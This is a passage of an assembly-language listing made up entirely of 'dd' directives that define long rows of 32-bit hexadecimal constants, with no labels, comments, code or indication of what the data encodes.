0F6F0A7h dd 80071CF8h, 0B536CB9Eh, 32AD7A39h, 3075F962h, 5179E933h dd 30402346h, 0E9870105h, 25C91050h, 6E9180F7h, 1D0A1A9Dh dd 728B4016h, 0FFDF51C1h, 18DC2496h, 0B8800B12h, 855DC6E0h dd 880097E2h, 99C0064Ch, 0D2330067h, 6A94EB8Ah, 130079C5h dd 82FDFA5Ch, 399F1Dh, 0CEDC47BCh, 0D4A2A5E4h, 0C175C600h dd 31BEBD54h, 0A0610132h, 724BC5CCh, 7FC0FB81h, 0D8FA7EBBh dd 13C15C00h, 8A30A065h, 185B00EDh, 9C9EE479h, 0FD096817h dd 80BDA952h, 0B43A4E2Fh, 6516091Ah, 4803DAE4h, 0EEB0B892h dd 6800D9F0h, 9EABB3CAh, 3425D2h, 582237E2h, 1AC0CCE5h dd 89C9D30h, 6BB916h, 78F581A2h, 0C5E9ED40h, 2E31387Eh dd 0C65B61A3h, 269993h, 3B7A6F5Dh, 76073E56h, 0E6E99F84h dd 34455320h, 54600013h, 1C7D5F64h, 0D3A00B8Fh, 7F00A367h dd 17DE87BEh, 7CF228CEh, 398DF460h, 0FE9CE264h, 192B581Eh dd 9A011057h, 2FF424DBh, 0F301CA66h, 5065DC72h, 0F6625F02h dd 0E0ED8D53h, 0A94D51Eh dd 0B061A47Fh, 131A00B1h, 8FC0993Fh, 0DB271700h, 0AE76077Ah dd 0BEBB4C7Dh, 680E5201h, 0CCE6AF1Dh, 6F059F19h, 90495335h dd 0A156B00Fh, 452B8DB1h, 0FE54F3E4h, 0C71400A3h, 0F530ACA8h dd 7100F1A6h, 289EA49Bh, 0F1A7619h, 14AD6FFDh, 0FEC1A0EEh dd 0E8782EBCh, 1C00456Bh, 5F5BE3E9h, 39BCF37h, 952B017Eh dd 68009AA5h, 11B12678h, 1BAD6Ah, 65FAA634h, 3237E035h dd 67BED101h, 0B814B4D5h, 1C707080h, 1561231Dh, 3C0CF80h dd 0E18B45D1h, 0C79F04h, 4638F834h, 78000875h, 31888DB5h dd 3A5C3A8Fh, 9A48307Ah, 27B1FC06h, 0B00EF1ABh, 600C92D6h dd 0D4B6711Bh, 95180117h, 0D9AFD2BAh, 2011F806h, 69330500h dd 2B3417Fh, 6F791728h, 1B72000Dh, 58F91E27h, 699AD9C5h dd 98A4001h, 0F801E6C3h, 20BECBh, 0B2D21B0Ch, 0EA5539F4h dd 0F3D50050h, 59EB631Ch, 2831D710h, 832EA051h, 0E0C123DCh dd 20180072h, 0DEBB6E24h, 0A5074D59h, 3082192h, 0BA03080h dd 0A4700C3h, 0EAD9F9Eh, 2E7C3640h, 6A7C1FE6h, 0C045D0F5h dd 0B3006778h, 0F7B9FB05h, 764E7BAh, 74AC0C7Eh, 212F467Fh dd 0F091B500h, 82A18C40h, 0BBC0C43h, 0CD605AE2h, 361E7C79h dd 1B109028h, 7918323Eh, 9BAF780Dh, 4D1F2E00h, 0B527AB08h dd 1B7805h, 0B829AD93h, 334B4F2Dh, 7A093663h, 73203F04h dd 19DA2900h, 55D31A2Dh, 43FBBA00h, 9B92A3D9h, 75662EB0h dd 0C1D1D9Fh, 0B359B14Ah, 0B9C1C273h, 94E3CCCBh, 73CDC70h dd 46FAD018h, 0B30C5F37h, 0E23A8840h, 1834C049h, 18898F38h dd 6570E1B6h, 7CAF80h, 2EA91C81h, 68342F2Ch, 0DDC080h dd 60DC82Dh, 6242303Dh, 0FFADAA0Fh, 0E9DCA0B7h, 0A2A9E2h dd 7B46E77h, 82E37A10h, 805BE139h, 1C84CDE8h, 1A36BAh dd 98927123h, 2526D0ADh, 0FCA70C03h, 0C8C73750h, 3A80A434h dd 7D7836D2h, 29EA68h, 84B58BCDh, 0AF2C31DAh, 0FA000679h dd 9DF6E680h, 62DC6594h, 8711291Ch, 0DE14A121h, 11F7F201h dd 8D111D1Eh, 63C11286h, 0EE2811CCh, 4FA111FBh, 0DB85A903h dd 7088E231h, 141CFDF6h, 4540FA7Ah, 71D0980Ah, 9F68001Ah dd 0B603C35Fh, 0C20C3754h, 0F4C7588Ch, 2D3000A9h, 13E28029h dd 0D7F04927h, 0CC10FD00h, 37A867EFh, 927E0F06h, 4620409Ah dd 97851EDDh, 0F6A50D00h, 144A5CE0h, 37FB0031h, 0D5FF7AD4h dd 4C00C4C0h, 0CB0A32DEh, 34102C9h, 0D603ABA0h, 67C82075h dd 46127F3h, 0B511D910h, 7BFE530h, 870B53FCh, 248D304Dh dd 3700F3A6h, 0E9584FA4h, 0AC625Bh, 66F97936h, 765CA0E3h dd 0E404B00h, 0D08B87BCh, 8F5B0675h, 112BD89Dh, 1F963000h dd 203543Eh, 0BB8414E2h, 3A00E8B9h, 70F9D87Ch, 0D312F325h dd 250049FEh, 0D6EA21BBh, 3F080158h, 17956E1Eh, 8516CCBFh dd 320EF70Eh, 0C0994EA5h, 0ACF0E291h, 69590068h, 0D71281DEh dd 7A00ABBAh, 0BE95292Fh, 0BC2C0CEh, 0ADF99335h, 0EAFA7081h dd 0E1BDE801h, 0A8662100h, 19D4C7F6h, 53300E9h, 553F49A1h dd 0CD38D5F7h, 1B1E04EAh, 74806494h, 0E2110473h, 4FF40098h dd 4CFEC875h, 0D2000979h, 0E670AD84h, 6172C5h, 4FDBCB9Ch dd 0CF2C0C37h, 192AB300h, 0A53A50A8h, 48A0095h, 0B96CE5B4h dd 0C303F8A1h, 6A49DFD0h, 392AB0DDh, 29C60090h, 220FA214h dd 800FB3DBh, 0A0402D55h, 97240E9Ah, 0D5350011h, 5019B66h dd 0CF00997Ch, 0E3A8BA7Fh, 5119CAh, 9C1B31C4h, 0B66ABFE5h dd 5E00ABB0h, 874BF0D3h, 1977296h, 0B244F74h, 2043474Eh dd 3B72E234h, 4DAE5100h, 0EF7F49F3h, 19718Fh, 0DC4997Eh dd 11B98076h, 48685300h, 0BF914D97h, 642B396Dh, 7008EA4h dd 0F426A4DEh, 0BEE340A1h, 0E68AEE23h, 0D5A50EADh, 0BFA02E67h dd 5AECCA99h, 110BD49h, 0D4D874E8h, 0AEF8AF11h, 71F0038h dd 0EA6BA21Eh, 4703E2F8h, 0BD332941h, 3EC80063h, 0BB554321h dd 424BAB95h, 0C7006CACh, 0A3A79E62h, 22EAFEA2h, 0B90FF800h dd 6E0255C6h, 10691CADh, 5D3CCFE0h, 75D4DBA0h, 0DA00A66Ah dd 4C2F40B8h, 1A0CE57h, 0E73EBF47h, 0F02E2109h, 500E960h dd 742E130h, 3F997439h, 0D583A6BAh, 0BF13883Ch, 0E687ECF0h dd 75828A00h, 0E7C8CE63h, 2C970E5Eh, 5661FF4Eh, 0C81F51C4h dd 670F6096h, 62D05772h, 44076E59h, 0FA312010h, 1BF44F00h dd 693A33CCh, 54760180h, 0EFFF9344h, 2014200Dh, 0C3B01D12h dd 460014A8h, 9626E2FCh, 0D5141E0Ch, 180892Ch, 3913986Bh dd 5E8082C9h, 0AE120C1Bh, 2D044920h, 42BD3E7Ah, 6A370480h dd 2C1A00FEh, 0D93AAFDEh, 470E46BCh, 0C05CF7ADh, 0D064B9E0h dd 0BEB10086h, 0ABC0C4CFh, 780EFD08h, 0AC4536B4h, 0FA88F9h dd 0EC28B0E3h, 0FE1D7525h, 0D73E2C1Fh, 7290E4Eh, 64C70C45h dd 5226D470h, 1B7D0FCBh, 773D7C0h, 34BC3E06h, 578EC1FBh dd 0DED9F8C7h, 0B0744900h, 718AE44Bh, 0A8F064h, 5DA2DA56h dd 95F0329h, 1D54D138h, 0BB897ACEh, 941880A1h, 8F1DD9h dd 573CFFEFh, 0C1D07DB4h, 1CBB4301h, 2EB355DBh, 7116C8D4h dd 0B200F44h, 998119FAh, 0FC8E4E07h, 11986BCAh, 300F876h dd 0B3B53A9Ch, 332C21Ah, 0D131EFF1h, 9800B95Fh, 0AB8F15E1h dd 4C220B91h, 0E202BBFDh, 41429C6Eh, 8ECB9380h, 5800687Ch dd 0A748B2CFh, 3EE18D0Fh, 0D50E562Dh, 0EEC0D4DFh, 307D4F12h dd 0C4413101h, 945E0E01h, 93FE30h, 0A5C934DBh, 7447CE1Eh dd 2E002973h, 0B888630Dh, 0E905060h, 0C706282Bh, 0BC8E80DEh dd 0A1DAD8Bh, 8AA63300h, 21392C5h, 0C99C008Ch, 96669F45h dd 0BD0012C7h, 296A97EFh, 9EF3AAh, 9C7ED5A8h, 0C16916FAh dd 967CBD01h, 559B906Eh, 78570h, 4574BB70h, 3A0EE8B7h dd 0B6014C98h, 63A02F10h, 25FC6C8Dh, 119F0555h, 9DD99FEh dd 47808AFEh, 577BBB7Ch, 649BFB00h, 0F7C341A3h, 0E8120047h dd 0D7B36506h, 0BF00CDAAh, 3EC6EEF5h, 3A78E05h, 6DE7F230h dd 8788855Dh, 6C003813h, 4F4843E5h, 5B7493h, 7A169C79h dd 0F4688F4Ah, 9B9FF807h, 51C326E4h, 3E30B8D4h, 1E9276E3h dd 402A6704h, 6C1C543Fh, 0F700A7D3h, 0CBA5FADh, 90CD4BC7h dd 8BCB003Fh, 34865370h, 0B2F2C508h, 0ED10E900h, 406F2169h dd 9C9A00CFh, 0D0BEC0D9h, 2600F4B9h, 274C9443h, 0EE518Fh dd 18C319F2h, 2FAAD65Fh, 2D0FB700h, 74A986C6h, 53350020h dd 9638E7F7h, 0B303ABECh, 1403AA8Ch, 5181A8B4h, 1F6030E4h dd 0E5218A28h, 249BB11Ch, 2A8F3EC0h, 7140ED98h, 87360705h dd 0C030F5CEh, 0E1069F62h, 1FEAAA3Eh, 0EE407FABh, 6F1CD168h dd 0E78400F8h, 225C2101h, 66003F87h, 2590062Ah, 378F57Bh dd 0E2A58C19h, 4800B31Eh, 7788EEA4h, 20EA966h, 3881D0ECh dd 3C4029BAh, 0A000D747h, 93CCB34Ch, 7D11E078h, 148D3208h dd 540844Ch, 0AD00BEFBh, 8E0C6B85h, 3CE2CAh, 6592764Bh dd 99BA6D6Ah, 9A0C3F72h, 78ADB589h, 2583299Dh, 0A41F606Ch dd 47004275h, 1A15E850h, 0DE01CBh, 1B094B8Ah, 75631955h dd 69E2DF00h, 1745E5A1h, 876200FAh, 0E1F00307h, 34009E13h dd 0C2BC55D3h, 50294h, 0EC375AC7h, 13DFC35Ch, 996F0300h dd 0B4314246h, 0A620003Ah, 63BED5CBh, 700F08Ah, 657032E9h dd 0D8C83Dh, 48039D5Ch, 2A542864h, 670AEF03h, 2580EAh dd 0D16E0810h, 4096473Bh, 523ABC2Eh, 0E0E27832h, 12F76374h dd 0AEB6F1h, 67B26ACCh dd 0CFCFF76h, 25C9DE00h, 1084885Ah, 83F60009h, 40592BC3h dd 0AC034B8Dh, 0CBF53742h, 0C86FA046h, 3EC70207h, 31A8980Ch dd 6B8ABFE0h, 0DFCE2207h, 2A806FABh, 7343FC5h, 9362D16Ch dd 0C25B204Eh, 700B2CCh, 8FBBABF3h, 17CA75Eh, 25F94B21h dd 0E4B88E46h, 7600A9B7h, 867F930Fh, 736792CAh, 32E700D8h dd 8FA04B9Ch, 3E98D2B8h, 0D5465300h, 5E43F761h, 0E2EC72h dd 41D019Eh, 4F1345B1h, 0F2D3AB0Eh, 0A27A47A8h, 0ECBA33C1h dd 4CF1ADF4h, 0CA008D78h, 61DABFC3h, 0E4904EB7h, 0ABCF3600h dd 0E62649D8h, 1B2100E7h, 356C66Fh, 8200325Ch, 0C997E5F0h dd 0A17AAAh, 0AF8530F9h, 354817DBh, 0E7EC1002h, 68622194h dd 995FA4h, 9209EF6Ah, 7A358119h, 7C8EF43Dh, 9A9EE400h dd 71A8F78Bh, 68E100C2h, 3BD0C687h, 4103BEF2h, 0AEE8E62Ah dd 0EAD1D046h, 480677C3h, 0D5005CA9h, 0B68B2AEDh, 0BF003814h dd 266A6E27h, 61B469h, 5423EAC6h, 0B9B68373h, 0D302157Ah dd 60F9D12Ch, 0B5DC80A1h, 3C2980F6h, 4A82971Ch, 0E34281D4h dd 5D25860h, 923D660Eh, 0A2C02EB0h, 4085245Ah, 0F600D24h dd 1273C294h, 0D02A0AE3h, 80C8C3C9h, 0C79D8958h, 754A536h dd 82E91680h, 2BA49098h, 7D009FE5h, 0DA71D544h, 7ACC0CEh dd 8AA839FFh, 5634F00Dh, 4407D9C1h, 90686C8h, 68B8C920h dd 2F121EB5h, 2E4C40E2h, 0EBB474FEh, 9148AC00h, 6438C3D2h dd 0AA3500A2h, 730CB9E4h, 6700D387h, 0A15B2F27h, 0E5B798h dd 0A3F9C18Ah, 0F44244B2h, 5EDD1C12h, 1D3E9800h, 7DFC8129h dd 0BBD6003Bh, 0AF512A4Fh, 59007FCCh, 0D4F4ECF3h, 3EC337ACh dd 0C889CDB5h, 33801EA0h, 0DCAB38Ah, 0ECA980C0h, 0F61554BDh dd 0E913166Fh, 0A4404565h, 0ABBC209Eh, 4898E229h, 8DE10B0Ch dd 4837E0BAh, 7C009D24h, 92E91F9Ch, 0E0A0976Ah, 78012AF4h dd 0D45DF21Eh, 0CD8E1DCh, 81A20022h, 7724C5F7h, 0B009A83h dd 642931DAh, 712A81Dh, 333438ECh, 0A1FA80AAh, 581CFF57h dd 0E0804EDAh, 11068CA8h, 701F4C53h, 0DB2E2403h, 84805C93h dd 12008744h, 0E1AB56BAh, 0D65DDDh, 8066BC6Dh, 3014A56Ch dd 18E4C402h, 8501DA1Ah, 0D687A7A4h, 722993F1h, 6BCD5861h dd 73F5D8h, 5DE5395Bh, 51201C7Ah, 6DCB6400h, 9CC3A7B3h dd 0F2570040h, 314D0A4Ah, 79045F7Ch, 0DCD8EC3Ah, 633D7880h dd 6F1D8CC5h, 0D2417AC1h, 59E6A4DDh, 852B409Fh, 1C7B0EB3h dd 2A2E419Ch, 32AC8EE7h, 6E029288h, 608F22E8h, 0FDA268h dd 5D8E6D35h, 32481333h, 524C73F8h, 0E0B80088h, 3C2129E5h dd 0B3E72442h, 0DF660F10h, 0DB8CF260h, 34001FB6h, 1E07F8FAh dd 7714E076h, 3C17097Bh, 0CC824353h, 74448BE2h, 329FCE00h dd 2A16A612h, 88C62E91h, 63B300B0h, 0EC0C134Eh, 986EB900h dd 0AF40DE7Ah, 0B3C04CD4h, 0E21C8407h, 81F1D0E8h, 70012A53h dd 40E4BBE1h, 7DD062C1h, 447A1DF4h, 67960027h, 0CEA1DB02h dd 15EC8800h, 46B1C273h, 0BE4D00F8h, 0F03A542Fh, 284C427Bh dd 91A3D46h, 0AD7CB8h, 0E5DDB58Ch, 0D894005Ch, 0FDA1087Eh dd 0AF003997h, 4469A7DCh, 73B9E1h, 77545259h, 16B647C8h dd 4128C403h, 0E2D9CE26h, 9F2A6358h, 1D50A1B0h, 0E5A900C5h dd 93EE5752h, 46012C95h, 47182EFDh, 0DBCC85FCh, 6D0100C8h dd 0E71D75ECh, 6C001188h, 2F3E8ED4h, 121B3FB9h, 907D34D3h dd 1C072E4Ch, 0CD86F600h, 0B79E5090h, 36B75F8h, 55D5BE80h dd 8B98624Ah, 1006921h, 0F998C4C1h, 58432ADFh, 0BD00F813h dd 0F5AE0B32h, 23001F88h, 0E3419DF6h, 0E09914A7h, 95E0BBh dd 0A14E12DAh, 5D7EEC5Ch, 2D034577h, 0A9037AA5h, 915FD8B2h dd 4C6A0041h, 16D4E9DFh, 90FCDB7h, 7470E5h, 92620C1Ch dd 214B2B8h, 177D673Eh, 0F080108Ch, 35B1EB4Ah, 1D1D7BF2h dd 3ADD2A3Ch, 4E61EE80h, 20DAE6h, 77A30A14h, 4B087642h dd 0D7B10300h, 2B862E67h, 0E65A0C75h, 0B2612943h, 3A1ACB12h dd 50FA4403h, 5E81EF9Ah, 0A0D8FDB1h, 106050A7h, 269801ACh dd 0B162D228h, 5828805Bh, 0E8BFE75Ah, 550C0AAh, 2604CF32h dd 7187E0EBh, 98124000h, 894E4219h, 1DFC0F39h, 750629BBh dd 3E0C2947h, 404DD59Dh, 5CFA005Ah, 3CFBA1A8h, 0ABEE155Bh dd 67547D03h, 319023Dh, 851B018h, 0DA038216h, 0C98C64BEh dd 4C6802BBh, 0DC34C791h, 0E7C34480h, 3700A0AAh, 7B41909h dd 159AFB0Ah, 706BA7A1h, 28258104h, 34BB01EAh, 0B8C00F84h dd 0BE2F02D7h, 0AB57EBE3h, 0E5114B40h, 0FE9E3Dh, 5F22B928h dd 1F501DA1h, 414F7EE4h, 0BAB13B1Fh, 4C23095h, 18B44C3Ah dd 65F10576h, 0C8EC0CDDh, 82D0E179h, 0B47109C6h, 15450020h dd 81632DECh, 551DD070h, 7D40F3F6h, 3E2FD932h, 0BA9A06ABh dd 616EA2AAh, 0EA2E6246h, 4979053Bh, 6E3048FAh, 0EC024280h dd 70AFC5FEh, 68E2004Fh, 0B58A0436h, 49C34149h, 0F0E7D7C1h dd 320365h, 749C99BCh, 0DAAB4721h, 2FDC61Ch, 3DC3B95h dd 465D76B9h, 0AE20101Ch, 6B916EC9h, 20628367h, 251102ADh dd 5BAF8360h, 3329C040h, 0B9085A66h, 79DF0021h, 6F20D283h dd 4D2A0441h, 0B40CD41Ch, 0F8ECFDAAh, 557A387Bh, 0F8AB3D81h dd 48F692B3h, 58C4D88h, 79CEEC03h, 19B86111h, 0DB670306h dd 0B880B8ECh, 56930AF8h, 0DC247153h, 321468B0h, 3ED40DC1h dd 2E140351h, 0C03F0525h, 31C83B4h, 10045492h, 70C957DAh dd 7D97D411h, 0C4A1CE06h, 1F3ED879h, 8072CC1Fh, 0A63F9DC3h dd 80B00A01h, 45E8875Bh, 7405007Dh, 22AFF48Eh, 0EF004689h dd 50FD856Ah, 2EE12712h, 7E1C7E6h, 101F52F4h, 7E36FBD4h dd 6814C907h, 0BF503DF8h, 0F87B2AEAh, 6EBA0090h, 85BCA077h dd 0AF014527h, 9A1D127Ch, 0E920464Ah, 1C10080h, 11917D72h dd 6600258Ah, 22D04F48h, 7282CCD3h, 48E0038h, 47D11AFFh dd 0C660E364h, 17F1CE10h, 5DE60F10h, 54A3E98Bh, 1E884ABFh dd 2E0091DEh, 93814F23h, 4B1A70h, 0D5C5CE07h, 0B526711Ch dd 99D01F26h, 0AA07301Fh, 75506C9Eh, 0E92434h, 0CCD4467Ch dd 4AD01380h, 0F11C647Ch, 5100F29Eh, 0EFA62CB7h, 0EEC50748h dd 1115FFCh, 0D4879750h, 337260AEh, 0D8328400h, 39527C51h dd 6690004Bh, 0C3F971A6h, 0E475DD49h, 762AA800h, 0F1725DDEh dd 339800AFh, 0DDBDE219h, 0F3074486h, 2C31904Ah, 0D21C031Bh dd 0E953D8C3h, 18D4A093h, 0CA73B6h, 0ED1D165Bh, 0C90E2CCh dd 313C6000h, 631B7D2Bh, 37F00A82h, 399C8D48h, 0F4AEE600h dd 0D467A22Fh, 8B08D80Ah, 8003B8C9h, 0C8EDEE70h, 0F4B09h dd 0B8939E24h, 1A589474h, 0BD0E9702h, 5548C661h, 81A3CBC3h dd 0C2CC2AB8h, 6AA2FD00h, 0D4E6DF16h, 0E522000Eh, 438957B0h dd 0ED0002A4h, 104E8FDCh, 3359F29h, 2AB3DB52h, 700005E2h dd 0CCE99CB7h, 0FA47AD44h, 1479C5h, 0EA7012E3h, 33CF5461h dd 7C853200h, 0A8013425h, 73DA006Dh, 0BAAC8991h, 0EC001852h dd 1C8568FCh, 9298BBh, 90AF5BC6h, 6EA89F2Dh, 0FE9CED2Dh dd 0E07501FFh, 0C0F806A4h, 4200F9FEh, 94B38AB1h, 1F6BAE8Ch dd 0C0F42433h, 0ADC7C652h, 410AABD9h, 809B8F28h, 0BD44801Fh dd 68800820h, 3BD6951Fh, 0BB801168h, 0E3C5F675h, 25009E04h dd 97867823h, 2D345h, 55C7DF1Bh, 0FA01C4D2h, 6107AD70h dd 63D611A9h, 48B8A8B6h, 810C67F4h, 70066E85h, 54CE1907h dd 25C38FA7h, 355AF8D7h dd 0A4390065h, 0A64103B6h, 492169Dh, 20208B24h, 0C7584580h dd 80D593E5h, 5C89C2EFh, 0EF60F3E5h, 7D00053h, 0CAF7CD9Fh dd 0E21C6C80h, 1D400E37h, 49DBBBE0h, 387400B7h, 0DD9A0F6Eh dd 0A0005304h, 0A8DA1C78h, 0AA9617h, 26E6FE10h, 3C88A412h dd 3994DF00h, 0ED1F0F04h, 0A54400F7h, 0BC30771Ch, 16001BF3h dd 0E4D2AD0Ah, 7ED5DDFh, 0ACFC2242h, 7779E06Bh, 2100EAA3h dd 0D8FD75B2h, 1F68D9D1h, 801A01D3h, 0CF57ACADh, 90065CEh dd 7F0FC88Dh, 7C7CC2E1h, 0E2B63A1Dh, 890C92h, 86C00BACh dd 9F1C27B3h, 202E64Ah, 40D148D5h, 70F28D9h, 0E392BFB5h dd 4C45A19Bh, 44A0C4EEh, 69E5FC00h, 0F41DF6EFh, 3FDC0FB8h dd 0EC20C625h, 0D8E4B79h, 54FF0300h, 0FCABE3C8h, 7D1A003Eh dd 7653CACh, 0EC00CA9Bh, 0D5569E8Fh, 3AE14C90h, 0D80E066h dd 7F79B371h, 0C100FE7Dh, 0A75CC0AEh, 1E45A3DAh, 8048DB06h dd 75CBFAD3h, 0C900A9FBh, 0EB721D27h, 94F9CE6h, 0BCB5ECB9h dd 95A0180Eh, 0AA4663FDh, 69032BE6h, 1DACBD20h, 0BC5B90D0h dd 0F9874C0Ch, 480CD00h, 0F995CEBEh, 0F4C85E05h, 0FC00B9A4h dd 0D74457B2h, 7668024Ch, 75C14514h, 94F07063h, 0C0032881h dd 6FFFE9D4h, 3D1801C5h, 3CD6331Eh, 958887BAh, 0F6D08F19h dd 983BD11Bh, 80644C0Bh, 4AB60071h, 0F8CB6DAAh, 2600F541h dd 3F0C3C72h, 268A2E2h, 83236018h, 0E9610B96h, 3BD020DEh dd 1007448h, 0F6CCAC88h, 2C20E208h, 0FFCCF3BEh, 10F960FCh dd 0EA6A8C9Ah, 0F5C7044h, 0EFCDE956h, 619C4800h, 99485F3Ch dd 36EC00F2h, 2E428208h, 5ED008Ch, 4ACA4D45h, 6800CB3Eh dd 0DB19E3D6h, 1DF435DAh, 0C77CFD6Eh, 0F193AAE5h, 0EF8CBE8Dh dd 0FB4877B0h, 890F0300h, 0FE186D19h, 327F3AC4h, 5DD6721Ch dd 0E21FC07Ah, 0CC6BBB4Eh, 10E8FD00h, 8A3CD1FFh, 3E220085h dd 0F336B45Bh, 4502157Fh, 53E8EB48h, 0EE63E03Fh, 0A698005Eh dd 49B63525h, 30E5F88Ah, 31007D59h, 5829AE75h, 0BEA54h dd 4171DD30h, 21CB0894h, 79C11D02h, 4131CA6Dh, 48CC0DD1h dd 746500F5h, 0CEB3D78Ah, 9CE83C0Eh, 0BC016BB0h, 28915ED5h dd 21F035B8h, 0EFEE017Ch, 6692EAADh, 9C74C88Ah, 8ED1FE3Dh dd 132BE265h, 7AB55405h, 9522D200h, 30C0BB1h, 69D737A3h dd 57EF205Ah, 8DA2532Bh, 0E82C8A90h, 54884100h, 0E0A30A77h dd 669C003Bh, 55C43A5Eh, 124CBF4Bh, 9BF518ABh, 4ED4718h dd 56AE4298h, 0D4DC80A8h, 2B074AF7h, 0D6ECEE8Ch, 5E158860h dd 1FE63877h, 0B23D205h, 9811C0BCh, 0DD00C368h, 0AACB5A67h dd 0F59D12h, 0CA928FB0h, 0FD5C409Fh, 9E58C00h, 345E91F8h dd 0FCB200EAh, 0EB21A06Bh, 792671D2h, 3B839CC4h, 0A717CAB0h dd 0B44EA070h, 6C246050h, 0A4595C81h, 0D9308F00h, 0A968A3D6h dd 85C4015Fh, 0FDDE8647h, 382CC809h, 0EA882050h, 6CC5D000h dd 0CB77784Dh, 6B480088h, 60B32CA4h, 0F090BCC3h, 0C8D80F0Eh dd 0AFDE865Bh, 0FD785810h, 3D940505h, 0C1DCD7A8h, 65EAA717h dd 0E8BFF520h, 3700650Fh, 0CAF01EB1h, 5990BEh, 301ACC66h dd 3F08A751h, 42B91000h, 8BE9A650h, 5C0300C0h, 0BE903C02h dd 0FB703E97h, 0FFEBEC03h, 0A82888E8h, 604E4B0Ah, 0C9689917h dd 0A02A7887h, 830F448Ah, 7D6B735h, 84B614F9h, 0D8670011h dd 0C7965F7Eh, 0D0795983h, 3887D330h, 54F00592h, 3DB4CCh dd 5053E7D9h, 4EC2E8B9h, 2908EE1Eh, 0CE6721B1h, 5E071C40h dd 795900C7h, 0AB1CCD47h, 70009DDAh, 0B8827249h, 790BB3Ah dd 0E9770817h, 0B0BAC796h, 6CD244B5h, 0FCAF0500h, 871E3ACCh dd 0E05C001Ch, 0C2E25FEEh, 6F0064A6h, 1520E7CBh, 25B1B3h dd 1B69E63Ch, 0C8B6F8B4h, 0DBD59D0Eh, 5E4260F0h, 5B2322h dd 0A40ED7CDh, 0BAFE654Fh, 0E20B8A77h, 0EBC0FCh, 0BC0156A2h dd 3F72735Fh, 6C0F3A82h, 6483F64Ch, 17B845F1h, 26007F52h dd 9373CEBFh, 0F3974ACh, 616224A7h, 8B446920h, 0CF007280h dd 0CE9CAD2h, 7CBA3565h, 5440EC48h, 0FACDC88Dh, 0F719C491h dd 66350007h, 365DDD0h, 0E881137Ch, 31749203h, 0F6395D00h dd 95B121B8h, 0CAED1F63h, 0B9FA0102h, 80EEEC17h, 0A84ED429h dd 7BE597Fh, 0A60591C7h, 0AE7BC32Ch, 0BFC52000h, 0C27144A8h dd 391BB8FBh, 0FD005915h, 8B673178h, 82129321h, 5C41E7A8h dd 0BBD4EB8Fh, 33B127F8h, 0A4096687h, 46F210Fh, 3415A0D7h dd 306A3299h, 4FA8C28Ah, 5E40F10Eh, 9320319Ch, 80BBFC68h dd 0E95380F8h, 91AE397h, 20C1CE8Fh, 4E2CFB80h, 0BC001681h dd 8366AE4Ah, 0E1278Ah, 0E4AAEF26h, 0FDA8CBCCh, 0AEB48007h dd 1EC0D376h, 0B8E795C0h, 0F5FC1DDEh, 90CA403Dh, 23713C37h dd 0CBE62F00h, 3581E264h, 0C9620756h, 30C7CABCh, 8DE9CC3Eh dd 49242318h, 2C9230h, 0E89536DBh, 76DCE6C7h, 0FDF86A1Dh dd 0A61DB900h, 7EA2C537h, 0F2743E94h, 0CB130403h, 0AEE88C08h dd 7A3D350Bh, 5F50012h, 0D7B4843Ah, 5B07EB6h, 0E310549Bh dd 18801898h, 96F44CA5h, 0A6224E70h, 6ABF0095h, 0FC9479A3h dd 103DFBDh, 81AC3C12h, 3B8A8054h, 0AE53008Ch, 0DA036E31h dd 5000CDA4h, 7CCBBB30h, 0C31162h, 48E7351Fh, 0A1026DFCh dd 0DBE0CE00h, 0D0160939h, 3C04E84Ch, 0DA3E8166h, 0F6F2FF3Eh dd 0E5471383h, 0F77A0058h, 72093A94h, 2838F130h, 261151h dd 6EAF48CAh, 96C2B0EFh, 246AA601h, 8EC5B32Bh, 3D3208D8h dd 0FD803341h, 0E161E5F3h, 4AE6A3EAh, 0B00BA43Fh, 6B602017h dd 0E19765Ah, 0C5E291E7h, 5F38E540h, 150EFD1Bh, 43068758h dd 72DE5961h, 4DB70040h, 856C868h, 1D1D7CD7h, 9080AC22h dd 8B4CB0A2h, 77573DCh, 151187CFh, 9EE1C335h, 0E37447C0h dd 59B9C9C0h, 50B39Bh, 3311F80Bh, 0AD447E30h, 4C607302h dd 60080D88h, 6893923h, 0A32F8E70h, 103010DFh, 0C1AB1E2Dh dd 99822CACh, 0EC0C0173h, 50354158h, 19612FA8h, 83C46000h dd 2B181A89h, 15E639F7h, 0EF7ACE00h, 693ED2BBh, 1C8A2A00h dd 42B4B83Ah, 34E600F6h, 0C4247FBEh, 0A1007CBCh, 0F836124Bh dd 1774130h, 84B9B617h, 20FC8573h, 28032939h, 72B44234h dd 5F67A82Ch, 788B13BDh, 51DB0054h, 0DB176B98h, 0E657E200h dd 15FF19E7h, 5428A167h, 30467030h, 0CA1123C0h, 5FF6F11Fh dd 9F4D1806h, 60081BFAh, 4AA21FFh, 60083F1h, 353E7E6Bh dd 5C158911h, 0E033D495h, 7FC0B278h, 4103680Dh, 0EE3F7B98h dd 0B80BE340h, 0E6B0CC54h, 5617036Ah, 2B14D2BAh, 32DB04B0h dd 7F085F63h, 71B8009Bh, 0DDBAD112h, 2D6001F2h, 73F66A80h dd 0C6C50077h, 0C92CFA09h, 0B414BE25h, 8C6CB3h, 0DD44A68h dd 34169C5h, 71551779h, 0F83F0AE7h, 2BA8004Ch, 51D71FADh dd 0CFDD008Fh, 0DAFDB5B2h, 0ED0318DCh, 0A9FFE0DFh, 6FE2F887h dd 0D0FA0FC5h, 86C021BEh, 6664B009h, 832C633Ch, 59685D3Eh dd 0AA6BF8D5h, 0A2E51E8Dh, 0C8D480A0h, 0CF965CECh, 9900D7E8h dd 32787FF4h, 3D171F4Fh, 19BA56D5h, 20ED1D18h, 78024B87h dd 13D4C0FEh, 2371407Ah, 0B0480138h, 6CD25BAh, 3A2BF0CBh dd 0D499CF07h, 5A218F0Bh, 1487A4FDh, 0E635F76Dh, 7A002122h dd 0D82A0B67h, 3C56F4A0h, 0E396DCEh, 8AED6287h, 0D2C0FFFEh dd 0B39EC1ECh, 0B9E43Ah, 5FB7EBD4h, 3F8C70Eh, 5A90EF3Dh dd 53A2F19Ah, 0E47B820h, 0F33B1832h, 8451E1CCh, 87CB6A00h dd 306C38FEh, 0D44E18E5h dd 0AC1B21D2h, 45BCBB0Eh, 0D1244CFDh, 90728C4Bh, 5BA1B911h dd 2D802188h, 0EE520B86h, 8F7F97BFh, 6CC3614Ch, 7883D742h dd 0E5A3EF5Ch, 0B801707Dh, 0A1D3A08Ah, 20B1CC6Ah, 0CE3DEE8h dd 0C60E085Ch, 3BC225F8h, 44A50099h, 28001C0Eh, 7182E278h dd 1833C66Eh, 0C0F64385h, 64FCA5BEh, 8B6FD0A0h, 92EA6370h dd 74661600h, 2B889D13h, 8D810119h, 